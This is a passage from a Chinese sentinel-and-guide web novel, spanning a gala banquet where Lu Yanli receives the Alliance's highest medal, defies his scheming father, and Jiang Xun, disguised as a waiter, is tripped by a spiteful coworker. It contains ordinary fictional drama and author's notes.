但她也没有失礼，如果她追求S级向导失败，那夏因还会是她的备用选择，没有必要现在就将两人的关系撕裂开来。 她重新微笑了起来，客气地对着江寻点了点头：“好吧，人各有志。不过如果夏因向导想通了，还是可以随时来找我的，我的承诺一直有效。” 说完，也不再看江寻的回应，干脆利落地转身，几步走开，端着酒杯就迅速融入了不远处一个正谈笑风生的小圈子，仿佛刚才两人的那番对话从未发生过。 江寻看着她离开的背影，暗自摇了摇头，趁被人注意到这里的异样之前，不动声色地退回了备餐区，稍加整理，再次投入了默默无闻的工作之中。 人来人往，喧嚣依旧，无人留意到刚才发生的一点点小插曲。 外间的天色越发黑沉，而宴会厅门前的车流越发忙碌起来。 时间接近宴会正式开始的时辰，宾客也越发密集了起来。 流光溢彩的灯光下，前来的宾客身份也越发贵重。平日里只能从新闻、传闻中见到的身影，在今晚这间宴会厅中比比皆是。 江寻的动作越发熟练而专业，将自己化为一颗不起眼的齿轮，在自己的轨道上不停歇地运转着。 从差不多一刻钟前开始，联盟各方世家大族开始陆续抵达宴会厅。 江寻的耳朵微微动了动，即使已经收敛了自身的精神力，敏锐的感知还是不断将在场众多的力场波动与情绪碎片不断反馈给他。 如他事先所知的一样，随着厅中宾客人数的增加，汇聚起来的向导数量越来越多。江寻粗略扫过，大部分都是衣冠楚楚、适龄尊贵的世家子弟。几乎个个都是自己那一方小群体的中心人物，被追求者亦或拥趸们环绕着，谈笑风生。 他们似乎也对彼此的来意心知肚明，每每迎面碰上，便要带着假笑寒暄一通，又在转过身后立刻变作另一副模样。 不少人的精神波动都带着股子相似的焦灼与期待。即使与围绕在身边的小团体热烈交谈时，余光也始终注意着宴会厅那扇巨大华丽的鎏金大门。每每有新人进门，便将注意力投射过去，仿佛在等待着某个特定人物的到来。 江寻对他们的目标心知肚明，因为他的目标也与他们相同。 就在此时，一阵声音不大却异常清晰的交谈声飘过了江寻耳畔，其中被反复提及的一个名字，让他马上将注意力完全转移了过去。 “……真是不好意思，厌离就是太专注于军务了，这不，连今天的宴会也要先去军部那边……” “陆伯父……哪里……陆少将……事业为重……” “……你父亲之前说的合作……一定的，厌离待会儿就到，阿曼达小姐放心……” “……万一匹配不上……您放心，家父一定遵守……” 江寻眉头一皱，立刻从对话中听出了不对。他不动声色，端着摆满了酒杯的托盘，自然地向着声音传来的方向靠近了几步，停在了一处装饰性的立柱背后，于是，更加清晰的声音便传入了耳中。 “……阿曼达小姐放心，我这个三子向来最听我这个父亲的话，今天一定让你们见上面。” “伯父这样说我就放心了，就是不知道陆少将会不会看不上我这样一个低等级向导……” “怎么会！阿曼达小姐知书达理，您父亲与我们陆家也是多年的旧相识了，亲上加亲，他当然是愿意的。” 江寻心中一紧，微微侧头，将不远处正在说话的两人尽收眼底。 对话的两人，一方是一位年约五十多岁的中年男子。他一身质料高级的深色礼服，头发梳理得一丝不苟，一手插兜一手端着一只酒杯。身姿笔挺气势强大，面容中带着一种久居上位的威严感。 此刻，他正满面笑容地看向站在他对面的一位年轻女士，与她聊着一些关于陆厌离的话题，似是对这位女孩十分满意。 而与他交谈的，是一位看起来只有二十岁出头的漂亮女孩。她一身价值不菲的纯白小礼服，精致的妆容下，是面带羞涩的笑脸。言谈之间，又不时流露出一副属于少女的纯真仰慕，似乎对不久之后的见面非常期待。 她听着中年男人的话语，脸上始终挂着得体的微笑，不时在对方说话时露出或是惊讶，或是憧憬的表情。 两人的一番交谈可以说得上是相处得宜，如沐春风。 而江寻，也通过两人的对话，确认了这个中年男人的身份——看来，这就是传说中的那位陆家家主，陆明远了。 “……陆伯父，其他都好谈，不过我还是有些顾虑。”女孩聊着聊着，话音一转，变得犹豫又小心翼翼，“您知道的，当年陆少将天赋能力之强，连靠近他一些都有可能会不知不觉中毒，更不要说长期接触……不知道这次康复归来，他真的完全控制住自己的能力了吗？” 她歉意地对着陆父笑了笑：“您别怪我直接，我们自然是相信陆家和您的，只是……我们家只有我一个女儿，我父亲实在对这点非常担心。” 陆明远脸上的笑容丝毫没变：“我理解！你放心，既然我陆家敢让他出来走动，自然是对他如今的状态有万全的把握。早在他刚刚康复的时候，便在愈灵殿中经过了检测，厌离如今不仅完全控制住了自身的天赋，连精神力水平都得到了全面的提升，相信你在之前的接触中，应该也见识到了这一点。” “听伯父这么说，那我就放心了！”听到这些话，女孩马上面色一变，刚刚还挂在脸上的忧虑转瞬间消失无踪，“我父亲也对陆少将十分欣赏，若是我们的事能成，您放心！以后我们汉特家一定全力支持您的一切决议。” “哈哈哈！好说好说！到时候都是一家人，我们陆家也会对你们全力扶持的。”陆明远哈哈大笑道。 他看向女孩的眼神变得深邃，面上满是满意之色，可心中却转着完全不同的念头。 原本他在陆厌离刚刚觉醒天赋时，就断了联姻的念头，只看他能力实在强大，便想着在他坏掉之前多为家族谋得一些优势。谁知道他还有康复完好，重新归来的一天！如今更是控制住了能力，还获得了不少家族的青睐，发出了联姻的邀请，对他来说简直是意外之喜。 说实话，消息传出的时间太短，现在表露出联姻倾向的，还没有让他特别满意的对象。 陆厌离怎么说也是全联盟有数的顶级哨兵，联姻的价码可不能低了去。 他也不是非要选汉特家不可，只是他们家族，现在刚好是所有联系他的家族里，条件最好的一个。 不如就先让两个人相处着，趁着两个家族关系暧昧期间，把好处拿到手再说。若是后续又有更好的选择了，大不了换人就是。 不管怎样，陆家都不会吃亏。 两人各转着不同的心思，表面上却言笑晏晏，可他们的字里行间，对于陆厌离本身的想法，却无一人在意。 江寻的心脏微微收紧，一股心寒的感觉弥漫开来。 陆父话语中对陆厌离的那种控制感，不在意的态度，绝非一天两天造成，而是成年累月的肆意对待，培养出来的一种习惯。 据他所知，陆厌离的母亲并非陆父的原配，如今也早已过世。在那个陆家里，唯一与他有着直接的血缘关系的，就是陆父了。连他对待陆厌离的态度都是如此，更不要说那个家中另一位原配夫人留下的二哥了。 江寻心中抑制不住地心疼。 他的小树就是在这样的环境中一路长大的吗？ 一直被视为家人的人如此肆意对待，随意利用？ 想到他们的初遇，他忍不住地想，他当时明白自己的父亲对他的抛弃吗？他是否痛苦？是否不甘？是否连痛苦与不甘都无人可以诉说？ 所以，只是一点点的甜，便能让他铭记至今，始终没有放弃地寻找着他吗？ 纷乱的思绪涌上心头，酸涩与心痛充斥心间，又被江寻强行压抑下来。他深吸一口气，将此刻翻涌的所有情绪锁入心底。 没有关系，既然你们不懂得好好珍惜，那他从此以后就归我了。 我的猫我自己来心疼，以后，我会补偿给他所有缺失的关心与爱护，胜过你们所有人。 他重新端起酒盘，最后瞥了一眼不远处的两个人，从立柱旁走了出去。顺势行至一位宾客身边为他添上了新酒，而后转身就走，动作间流畅自然，没有再回头看那两个人一眼—— 作者有话说：修完！今天又吭哧吭哧熬了一天才写出来……[爆哭]明天猫猫出场！这次一定！ 第160章 外间刚刚抵达的宾客越来越少， 离宴会正式开始的时间越来越近了。 江寻将一位受不了过于混杂的力场压迫的年轻向导小姐，送入安排在侧厅一旁的休息室后，看着正在一格一格走向七点的时钟， 心中不禁有些焦躁。 到现在他还没有看到陆厌离出现， 难道自己猜错了， 他根本不打算来参加这次宴会？ 江寻正暗自担忧，刚刚回到大宴会厅，便听靠近入口处的人群突然沸腾了起来， 喧嚣的声浪陡然拔高了一个度。 惊呼声， 兴奋的议论声，如潮水般迅速从入口处向着宴会厅内部蔓延了过来。于是，原本分散在各处交谈的宾客们，纷纷不自觉地或是扭头查看，或是向着入口的方向转移了几步，试图看清发生了什么事。 而一些盛装打扮， 脑子又足够灵活的年轻向导们， 早在骚动刚刚出现的时候， 便机灵地提前挪动了脚步，向着入口的方向簇拥了过去。 江寻的心头猛地一跳， 一种强烈的预感袭来，心头涌起的悸动几乎让他拿不稳手中的银盘。他立刻意识到了， 是他来了！ 他马上快步向前走了几步，想要更加靠近一些， 哪怕让他远远地看一眼，真切地看看他的小树如今的模样。 可前方人群拥挤，名流云集，而他此时却一身服务生的制服， 手拿银盘肩搭餐巾。如果现在不顾身份地去与这些名流们失态拥挤，恐怕根本等不到他见到人，便会马上被赶出宴会厅。 稍一犹豫，便被汹涌的人潮彻底挡在了后面，不得寸进。 “是陆少将到了？” “陆少将今天居然是和第八军团一起到的，刚才陆家族长来的时候没看到他，我还以为他又不来了呢！” “哇，我还是第一次看到他的真人……” “别挤了，我的妆都要花了！” 身边不断地传来各种特意压低了声音的议论声，确认了江寻的猜测，可他完全靠不过去，只得凭借着自己的身高优势，勉强从人群晃动的缝隙中，望向前方那片人声鼎沸的区域。 隐约间，他似乎看见一头在灯光下泛着淡淡银辉的浅灰发丝，又在下一刻，被更多拥挤上去的人潮彻底淹没。 然而，这片区域的骚动并没有持续太久。只过了几分钟，情况似乎就有了新的变化，人群的情绪冷静了下来，开始缓慢地散开。压抑着激动的兴奋议论声，也化作句句失望的叹息。 江寻依着惯性踏前几步，见此情形，有了些预感。 “……怎么这就进去了？” “休息室……军部的人守着门呢，谁也不让进了。” “……他不是康复了吗？怎么还躲着人？” “就说你们人太多了……” “那怎么办？我父亲让我务必要搭上话呢……” “待会儿的授勋仪式上他总要上台的，等等吧。” “哎！只能如此了……” 听着这些失望的低语抱怨，江寻也暗自叹了口气。 他也没想到，居然有这么多人都是冲着陆厌离来的，难道他们平时都见不到他，全都等着这次宴会凑上来吗？ 收敛下心神，正要继续手中的工作，却见入口处再次传来一阵新的骚动。 江寻有些疑惑地转头望去，却发现这次的主角换成了好几位穿着整齐圣所制服的年轻男女——正是本届积分赛哨兵、向导学院的前五名优胜者。 江寻一眼就看到了被簇拥在人群中，化了精致妆容的桑扶，他正笑容灿烂地与身边的年轻哨兵说着什么。 而这位哨兵，外貌如冰雪般清冷，站在桑扶身侧，挂着矜贵的微笑，看起来与场中教养良好的世家子们没什么不同——正是洛伦茨。 几位圣所精英的联袂到来，不仅引起了附近那些年轻子弟的注意，连更远处的军部高层们，也纷纷将目光投了过来，第一时间关注起了今年这批即将被各势力吸纳的新鲜血液。 一些刚才急急凑了过来，却没与陆厌离搭上话的年轻向导，顺势就与这些优秀的平民哨兵攀谈了起来。 江寻丝毫没有凑这个热闹的意思，立刻躬身侧头，脚下一转，隐入一旁的人群后面，避开了他们的视线范围。 依照桑扶的性格，若是这时候被他看到，定会再次惹出风波，现在可不是和他们因为一些没有必要的争锋起冲突的时候。 这两波来客汇入宴会人群中后，后续来的宾客就没有什么重量级人物了。很快，时间来到了晚上七点整，悠扬庄重的钟声在大厅中响起，瞬间压下了宴会厅里所有谈笑絮语。 众人自动向着中央的舞台汇聚过去。 主灯光开始缓缓变暗，一束柔和的追光随着缓缓走上高大舞台的身影洒了过去。前一刻还在嗡嗡低语的宴会厅，声音渐息，所有的宾客都停下了交谈，目光随着那位精神矍铄的老人，转向了舞台。 这位老人头发已经花白，脸上被岁月刻画下深深的刻痕，前行的步伐不紧不慢，神色间不见特别，可他周身笼罩着的那层无比雄厚的精神力场，却毫不吝啬地向人们展示着他的强大——来人正是联盟“塔”组织最高指挥官，二十年前的联盟至强哨兵，塔内尔阁下。 只见他缓缓迈步，走上了舞台最中心，下一刻，嵌在宴会厅墙壁上的扩声器中，便传来了他沉稳的声音： “尊敬的各位来宾们，大家晚上好。 欢迎各位出席今晚的星辉盛宴，今日我们汇聚于此，不仅是为了表彰过去的成就与牺牲，更是为了点燃引领明天的信念火炬。每一位站在这里的哨兵与向导，都是联盟屹立不倒的基石。 联盟因各位的守护而强大，未来因为你们而充满希望。 在此，我谨以最高指挥部的名义，向所有为联盟做出杰出贡献的哨兵与向导，致以最崇高的敬意。你们的勇气与智慧，将被永远铭刻在联盟的历史丰碑上。 请我们共同举杯——” 说到这里，老人高高举起了手中的酒杯，环视四周。而场内的人群，此时也被他澎湃的情绪所感染，纷纷共举酒杯。 “为了联盟，干杯！” 老人说完这句话，满饮下手中金黄的酒液。 大厅中众人同时共饮，而后，经久不衰的掌声响起。 简单的致辞结束，整个宴会的气氛达到了高潮，晚宴正式开始。 所有宾客们，按照事先安排好的座位，有序地纷纷入座。酒店的工作人员开始次第入场，将来自各个星球的特色珍馐鱼贯送上。 所有宾客，无论是权倾一方的大人物，还是初出茅庐的圣所学员，在此刻，纷纷展现出了自己最优雅最得体的一面。 即便是再桀骜不驯的刺头，在此时，也藏起了他们的锋芒。 江寻与其他的服务生们一起，进入了最忙碌的时刻。虽然他不在后厨与传菜组，可此时，宴会厅中亦有许多的宾客出现了各种各样的问题，他们的任务，便是第一时间为每一桌的客人提供恰当的服务。 穿梭在餐桌之间，江寻一边留意着手上的动作，一边借不经意扫过的余光快速看向全场。 目光扫过军部各位高层们就座的区域时，终于找到了那个身影。 陆厌离没有回去陆家的座席上，而是与第八军团的长官们坐在一起。此时，他正微微侧过头去，与身边的威尔逊军团长说着些什么。明亮的灯光打在他的侧脸上，似乎也没有令他暖和起来，眉眼低垂，表情寡淡，没什么精神的样子。 收回目光，江寻再次瞟向相隔不远的另一桌。 那位如白百合般精致漂亮的阿曼达小姐，正坐在陆父身边，目光时不时地觑向军部座席的方向。而陆明远，此时正面露笑容，频频与同座的几位各家族话事人交谈着，偶尔瞥向军方那一桌的目光中，泛着丝丝不易察觉的冷意。 安静的氛围中，反而显得比刚才的喧闹更加暗流汹涌。 随着细微的餐具碰撞声，最后一道甜点也被送上了众位来宾的餐桌。多余的餐盘冷炙被悄然撤了下去，宴会厅中的灯光再次发生了变化。 聚光灯重新聚焦在了中央的大舞台上，众人适时放下了手中的餐具，微转过身子，看向舞台中心。 盛宴最重要的环节来临了——授勋仪式，即将开始。 * 当所有的视线被聚焦在前方的舞台上时，庄重而略带激昂的音乐适时响了起来。 一位身着笔挺庄重礼服的主持人，用饱满的声音，向在座所有人简略地讲述了这一年之中，联盟所经历过的所有重大事件，与取得的重要成果，紧接着，宣布为所有贡献卓著的英雄们举办的授勋仪式，正式开始。 “联盟星历321年，第一枚‘赤焰勋章’，授予第七军团，李峰少校。表彰其在M72星系，阿卡斯入侵战中，率领守军在失去补给的情况下，死守防线长达七十二小时，护卫当地平民安全撤离……” …… “联盟星历321年，第九枚‘桂叶勋章’，授予愈灵医疗中心，尼克斯博士，表彰其在哨兵精神潜力研究中，做出的突破性贡献……” …… 从低阶到高阶，一位位功勋卓著的哨兵与向导的名字被主持人郑重宣布。 受勋者中，有年轻气盛，目光明亮的小伙子；有举止温柔端庄，面带微笑的女士；亦有满头白发，脚步蹒跚的老者。 无论男女老幼，皆在这个庄重的场合里，穿上了他们最体面的军装或礼服，在聚光灯的追随下，一步一步沿着那条铺满了鲜血、汗水与荣誉的通道，向着舞台中心走去。 通道两侧，此时站满了胸前佩戴了满满勋章的观礼者们，他们都是曾经同样走过这条道路，最终踏上了自己光辉人生的前辈们。 如今，他们同样身着礼服，面带着笑容，向着每一位走过的受勋者鼓掌行礼，看着这些后辈们走上相似的充满希望与荣誉的道路。 舞台正后方的全息屏幕上，不停闪现过短暂却充满了震撼力的视频片段。 炮火纷飞的战场上，一身血火的战士石破天惊的一击；实验室里，胡子拉碴的研究员们拥抱欢呼；洪水肆虐的废墟中，一人将晕过去的孩童高高举过头顶；苍茫的宇宙中，白发老人独自一人守在望远镜前奋笔疾书。 每一个片段，都无声述说着这些平凡的战士们，在不为人知的角落中做出的牺牲与奉献。场中所有宾客，掌声经久不息。 之后，塔内尔阁下亲自为每一位受勋者佩戴上象征着荣誉的勋章，与每一位激动的受勋者敬礼握手。 此刻，无论利益纠纷、贫富贵贱，每一道投向他们的目光中，都充满了佩服与真诚的敬意。 流程有序地进行下去，一波又一波受勋者从最高指挥官阁下手中，接过自己的勋章。勋章的等级也逐渐增高，整个宴会厅的气氛逐渐升到了最高潮。 终于，主持人带着激动的神情，最后一次登上了舞台正中心，而背景音乐，也在此时适时变得更加恢弘而庄严。 察觉到了气氛的改变，所有人的注意力不由自主地更加集中了起来。 主持人环视场中所有宾客一圈，而后，将目光落向场边的大门，激昂的声音在众人耳边响起。 “最后，联盟星历321年，‘紫荆守护者最高勋章’，授予第八军团，陆厌离少将！” 这句话被大声宣布出来的瞬间，安静的宴会厅中骤然爆发出一阵压抑不住的低声惊呼。紫荆守护者勋章，塔组织能够授予哨兵与向导的个人最高荣誉勋章，在此之前，已经有数年未曾有人获得。 场中诸人大多听说了在这一次星辉盛宴中，会为陆厌离颁发勋章，但无人能想到，竟是最高等级的紫荆勋章！ 此时，主持人的声音还未停下，他的语气里，带着前所未有的郑重与感慨，洪亮的嗓音中充满了由衷的尊敬：“陆厌离少将，十二岁入塔，十六岁入伍，十九岁便因执行任务过于频繁、高强度，精神急剧恶化，不得不被迫进入休眠状态延缓身体的崩溃。从此彻底放弃了所有的个人生活，将所有的清醒时间都奉献给了联盟。” “自他入伍以来，共执行高危任务高达一百二十七次，各种中级以下任务四百余次，从军以来，歼敌人数至今仍位列联盟记录榜首！直至彻底陷入堕化状态前夕，仍无私无悔地为联盟的和平稳定，奉献着自己的所有力量。其强大的战斗力与坚若磐石的意志，为所有的士兵树立起了光辉的榜样！” 随着主持人慷慨激昂的话语，舞台后方的全息屏幕上，也开始播放出一个个片段。 无数漂浮着的星舰残骸中，骤然飞掠过的一道几不可见的墨绿色影子；浑身染血，独自冲入涛涛虫海中的决绝背影；无声无息地躺在医疗舱中，被红黑色的腐蚀性不知名液体灼烧得几乎失去半边面孔的残破身躯；一只满身伤痕，却远远避开了所有幸存者，独自守在幸存地门口的霸气灰狮。 以及最后，从自己脖颈后拔出哨兵核心芯片，化为一只瘦弱灰猫，独自奔入山林中的身影。 这些片段没有刚才所播放出的那些制作精良，激动人心，甚至许多都能看得出，是在非常紧急的状况下录制而成的，画面剧烈摇晃、模糊不清，破碎而无声，可恰恰是这样毫无修饰的镜头，向所有人展示出了一位坚强的战士惨烈而短暂的一生。 场中因为这出人意料出现的“紫荆徽章”而爆发出的议论声，在这一个又一个破碎的镜头下，渐渐安静了下来。 镜头不停地跳转，所有人看着画面中那个唯一的主角，从眼带稚嫩的少年一步一步走来，化作一位阻挡一切暴风骤雨的强大战士，不少心性纯净的少男少女，都不禁泪湿眼眶。更多的宾客们，则目不转睛地凝视着舞台上的全息屏幕，面色动容。 台上的主持人还在继续着： “然而，除了这些卓越的功勋之外，因为陆少将天赋能力的特殊性与极高的失控风险，在此之前，他长期处于公众的视野之外，不仅功绩不显，还始终独自承受着常人难以想象的孤独与痛苦，数次濒临崩溃，又凭借其强大的意志力坚持存活了下来。其功勋之彪炳，意志之坚强，足以照耀整个联盟历史。” “但也是因为其极度危险的天赋能力，无法现于人前，过往的无数功绩，始终没有得到它们应该获得的称誉。如今，在其奇迹般康复归来，重归秩序之际，‘塔’总部与联盟军部经过共同决议，决定补授此枚‘紫荆守护者最高勋章’，以表彰陆少将在过去、现在，以及不远的未来，为守护联盟的和平稳定所做出的一切奉献与牺牲！” 话音落下，先是一片寂静，随即，一个孤零零的掌声从场中响起。而后，越来越多的人回过了神来，用力鼓起了掌。最后，整个宴会厅陷入一片雷动之中，掌声久久不散，甚至将恢弘的背景音乐都完全压了下去。 在所有人激动的掌声中，聚光灯被猛地打在了侧面门廊的入口处。两位战士面色郑重地跨步上前，一左一右，轰然打开沉重的大门。 一个瘦削的人影，出现在了那聚焦的光晕之中。 陆厌离依旧穿着那身黑色的军装，脊背挺直，面色有些发白。 似乎是对这样众人瞩目、掌声雷动的场面不太适应，他抿了抿唇，在原地停顿了片刻。而后，才在众人尊敬的目光中一步一步，踏上了那条通往舞台中央的光荣之路。 他一步一步走得稳稳当当，头微微低垂着，看不出一点儿身为顶级哨兵的强悍气势，可仍在播放着的几乎看不到尽头的视频片段，每一帧都在述说着他无与伦比的强大与坚韧。 通道两侧，所有的荣誉卫士们，不论军衔高低、身份地位，在此刻，都肃然而立，在他走过时右手抱拳横于胸前，微微躬身，向他致以最庄重的礼仪。 当他走上舞台，站在最高指挥官塔内尔阁下身前时，在场所有身着制服的宾客们，不论是来自军部的在职军人、塔中各部门的工作人员，还是圣所中，即将毕业走上新的人生道路的学员们，纷纷齐刷刷地站了起来，抬手向他敬上最庄重的礼仪。 此时，所有的权衡算计、斟酌利弊都被人们抛在了脑后，这是所有受到其恩惠，得以生活在安定繁荣之下的联盟公民，对至强的守护者最为真挚的敬意。 塔内尔阁下带着欣赏的目光，对陆厌离点了点头，亲手从身旁的灿金托盘中，捧起那枚沉重而璀璨的紫荆花勋章，佩戴在了陆厌离的胸前。 而后，郑重了面色，向着陆厌离行了一个最为标准的军礼。 再一次的热烈掌声，随着陆厌离的回礼响彻整个宴会厅。 江寻站在众人身后的服务生队伍里，手中拿着的托盘早已忘记了放下。他远远地隔着汹涌的人群，遥遥望着那个站在最高的舞台上，接受着万众瞩目与敬仰的年轻男人，嘴唇颤抖，心脏像是被一只无情的大手紧紧攥住，无穷无尽的酸涩与自豪，交织在一起，在胸腔中沸腾。 那个瘦削而安静，轻轻垂着头的青年，此刻看起来是那么的平和而淡然。 可最前方那巨大的全息屏幕上，却在不断放映着看不到尽头的惨烈影像。那些晃动着的镜头，破碎的身躯，满身的鲜血与污浊、残肢与内脏，都在无声诉说着这个还不足三十岁的男人，荣耀而残酷的前半生。那是他未能参与的人生，不曾目睹的痛苦挣扎。 他几乎不敢将那些影像中的主角和台上的人重合在一起，只是稍稍联想，都感觉痛彻心扉。 可同时，他亦为了这满场真挚的敬意而为他自豪。 这就是他的小树，荣耀的联盟战士，陆厌离少将—— 作者有话说：江江心疼了[化了]《 》 160-165 第161章 授勋仪式， 在这经久不息的掌声中，渐渐落下帷幕。 盛宴最高潮的环节，随着陆厌离走下舞台， 宣告结束。 灯光重新柔和了下来， 激昂的背景音乐被换成舒缓悠长的轻音乐。江寻与其他侍者们重新忙碌了起来， 端着满溢的酒杯穿梭在宾客之间。 联盟最顶端的几位大人物，开始陆续提前离场，将场合留给更年轻的孩子们。 各方势力的高层们， 也在此时纷纷走向自己看好的新秀， 巧妙攀谈了起来。 整个宴会的气氛轻松了下来，进入了自由社交阶段。 留下来的宾客们，在众位大佬离场后，明显活跃了许多，端着酒杯，纷纷起身迎向那些备受瞩目的受勋者。 特别是获得了场内最多掌声的陆厌离， 身边里三圈外三圈， 围满了前来祝贺、攀谈的人群。 陆厌离尽量有礼地回应着， 他本答应了威尔逊军团长为军团招募新血，不想在此时因为自己的态度坏了军团长的大事。 可是， 即使如今他的天赋能力能够控制住了，长久的习惯下， 他也实在不喜欢，也应付不来这样嘈杂的环境， 呆在人群中的每一秒，都让他只想逃离。 可身边簇拥的人群，却丝毫不知道陆厌离此时的难受，反而在见到他始终回应着旁人的对话之后， 更加热情了起来，莺声燕语团团围绕，想方设法地与他套着近乎。 陆厌离的回答越来越简短，眼神中已经透出几分难忍与无措。终于，他寻到了一个间隙，略有些强硬地退开一步，微微侧过身，对着站在身后的威尔逊将军低语一句，想要暂时离开人群，出去透口气。 然而，刚得了威尔逊的应允，还没走出两步，一个身影便挡在了他的面前，面色沉沉的看向他。 陆厌离一眼瞧见面前之人黑沉的面色，便下意识地蜷缩了一下手指，而后，又反应了过来，微微抬起眼睛，叫道：“父亲。” 陆明远看向面前的陆厌离，刚才的授勋仪式，让他再次看到了自己这个三子更大的价值，不得不说，在那个刹那间，他的确为自己的选择后悔了。 可这种后悔，不是因为与他起了冲突，逼迫他去相亲。而是后悔选择的这个相亲对象，分量还是太低了，从她父亲那里获得的回报也太少了。 一个新晋的紫荆徽章获得者，他的话语权足以影响政局，如今的陆厌离，已不能仅仅作为一把尖刀来衡量价值了。 不过，虽然他承认自己选择的这个相亲对象出了错，可陆厌离对待自己的态度，仍让他愤怒不已。 没想到，一个没有被他放在眼里的不知名向导，竟能对他产生这么大的影响，让他一再地忤逆自己，甚至已经开始失控了。陆厌离这样的态度，是他无法忍受的。 此刻，面对着这个不再听话的儿子，他的脸色很难好起来。可对方如今再次增长的价值，也让他不愿放手。 陆明远眯着眼上下打量了陆厌离一番，再开口时，语气仍是一贯的不容置疑，可话中的内容，已经是他认为非常缓和的了：“陆厌离，跟我过来，给你介绍几位世交的长辈，还有汉特家的千金，你们年轻人应该多认识认识。” 陆厌离抿了抿唇，对于陆明远自认为的缓和信号，丝毫不心动，反而在心中生出一股烦躁来。他绿色的眼眸骤然深沉，其中涌动着浓烈的情绪，第一次在这样公开的场合中，拒绝陆父：“不，我不想去。” 陆明远已经半转过身去，他从不觉得自己这个从儿时就对自己言听计从的三子，会当众再次忤逆自己。 骤然听到他的拒绝，他几乎不敢相信地怔了怔，随即在下一秒，眉头瞬间拧紧。 他再次回转过身来，看向陆厌离的目光中，已经充斥着怒火，声音因愤怒压得极低，一字一句充满了警告：“陆厌离，你敢这么对我说话？！这是命令，不是商量！” “是吗？可你从不是我的长官，你的命令，我没有必要遵守。”陆厌离的声音也冷了下来，毫不退让地针锋相对。 陆明远被他在众目睽睽之下的忤逆彻底激怒，尤其是想到之前在各种媒体上看到的那则荒唐的寻人启事，火气更是完全压不住。 他重重踏步，逼近陆厌离，怒视着他，声音几乎是从牙缝中挤出来：“你的翅膀真是硬了！你还想胡闹到什么时候？！” “就为了那么个不见人影的向导，你就这么和我对着干，还在公开媒体上发那种丢人现眼的东西？你把我们陆家的脸面都丢干净了！”他愤怒地诘问着，说到这里，几乎可以说得上是恶意地露出一个没有温度的嘲笑，“他是救了你，陪了你一段时间，仅仅是这样你就真的以为他有多么重视你了？如果他真的在意，早就出现在你面前了！到现在还不见人影，甚至连一点儿消息也没有，要么是死了，要么根本就不想见到你！” “他还活着！”陆厌离的声音陡然拔高，语气中带着一种孩子般的执拗，却还藏着一丝不明显的恐慌，激烈的情绪甚至让他周身的精神力场都剧烈波动了一下，让周围几个感知敏锐的哨兵向导不由自主地后退了一步，面色发白。 “我一定会找到他的！”说到这里，陆厌离已经无法控制自己的音量，引得许多人纷纷向着他们的方向看了过来。 “你真的是疯了！”陆明远在众人奇怪的目光下，脸色更加难看下来，低吼出声，“我命令你，马上跟我走，然后……” “不可能！”还不等陆明远说完话，陆厌离便粗暴地打断了他，看向他的眼神冰冷坚决，“我的事用不着你来插手，我会自己想办法找到他的！” 说完，他竟然真的不再理会已然气得脸色铁青的陆明远，对着站在身后一直插不上话的威尔逊打了个招呼，就要提前离场。 此时，在众人都没有注意到的不远处的立柱阴影下，一个人影转过了身，眼中闪过一道锐利的光芒。这人不动声色地跨步离开了走廊，汇入大厅的人流中，谁也没看出来，他此刻心中的翻江倒海。 自从上一次猜测到陆厌离身怀“秘密”之后，伊莱便始终注意着他的动向，这一次的星辉盛宴，他也完全是冲着对方而来的。 他本以为，这种事关再次晋级的“秘密”，一定需要花费很大的工夫才能调查出来，没想到，只是听到了陆家父子的一段争执，便得到了最要的线索。 “治好了陆厌离的向导”，“在公开媒体上发布的寻人启事”，这几个关键词，马上便让他联想到了对方的突然康复与晋级。 原来如此，陆厌离一直在找的，不是他以为的什么奇异物品，而是一个人，一个能够治愈完全堕化的S级哨兵，甚至辅助他再次晋升的神奇向导！ 所有的线索都在这个瞬间贯通了起来。答案比他所能想到的更加离奇，却也更令他惊喜！ 伊莱的心脏扑通扑通跳动了起来，不同于有限的资源，一个顶级的向导，他的能力能够发挥的时间，足有上百年！他可以将一名濒临崩溃的S级哨兵，造就成近乎SS级的存在，那如果对象是他呢？ 而且，向导的能力，可并非只能给一个人使用的，他的能力能作用在S级的哨兵身上，那更低等级的哨兵呢？复数个哨兵呢？ 如果他的能力真的如此特殊，如此神奇，那么，只要能得到他，好好利用起来，十年之内，恐怕都能生造出一个新的联盟三大家族！他的价值……简直无法估量！ 想到刚刚陆家父子两人的冲突，伊莱不禁嗤笑了一声。那个陆明远，从来六亲不认，不放过任何能抓住的机会与利益，这一次，居然还没有他的儿子脑子清楚。 放着一个价值无法估量的神奇向导不要，居然只想让自己的儿子去和一个不入流的家族联姻，换取一些不值一提的东西。怪不得他心狠手辣至此，筹谋三十多年，家族实力仍然攀不上三大家族的尾巴，真是……鼠目寸光！ 不过他没发现更好，这个向导，必须是他伊莱·凡纳的人！ 就在伊莱心思电转，已经开始筹谋如何将那个神秘的向导找出来的时候，另一边，一直密切地关注着陆厌离动向的江寻也急了起来。 他从宴会开始就一直隐忍至此，就是为了在宴会后半场，人流变少的时候，能够找到机会接近陆厌离。可此时的陆厌离，竟然因为与陆父的争吵，就要提前离场。 这一下突如其来的意外，瞬间打乱了他的计划，令他心下大乱。 情急之下，江寻根本顾不上其他，手中还端着摆满了酒杯的银托盘，便快步向着陆厌离的方向靠近了过去，想要赶在他离开之前，至少让他注意到自己。 然而，心神大乱之下，高挑的身材，让他完全忽略了脚下的环境。就在他就要疾步穿过人群之时，腿边突然窜出一个障碍物，在他迈步之际倏然横在他的脚下！ 只听“哐啷！”一声清脆声响，江寻整个人向前绊了一个踉跄，手上的托盘脱手飞了出去，一整盘半满的酒水，被全部砸碎在了地面上，发出一连串玻璃碎裂的清脆声响。飞溅的酒水更是泼洒到了周围数个衣冠楚楚的宾客身上，引来一阵惊呼。整个宴会厅的和谐气氛，被这场意外骤然打破！ 突如其来的巨响，让这周围的一小片区域瞬间安静了下来，所有的目光齐刷刷地看向站在一片狼藉之中，穿着服务生制服的江寻。 江寻惊讶抬头，正看到一人快速从他面前抽回了腿，看向他的脸上，闪过一抹得逞的恶意笑容。 是他同期的服务生中的一员，一个长相姣好的“关系户”，之前分配工作的时候，江寻记得，他被分配到了传菜部。 那人趁着混乱从江寻身边擦过，用只有两个人能听到的声音在他耳边刻毒低语：“呸！在主管面前装得你有多么努力！这不也是想往大人物身上贴？！我们没好果子吃，你也别想得逞！” 说完，掠过他身边就混入了周围看过来的人群里，转过身来嘲弄地看向满身狼藉的江寻，眼中闪烁着恶毒的笑意。 短暂的寂静之后，几声尖叫骤然响起，人群中瞬间炸开了锅。 “啊！我的衣服！” “我的裙子很贵的，才第一次穿啊！” “真是倒霉，这怎么服务的？” 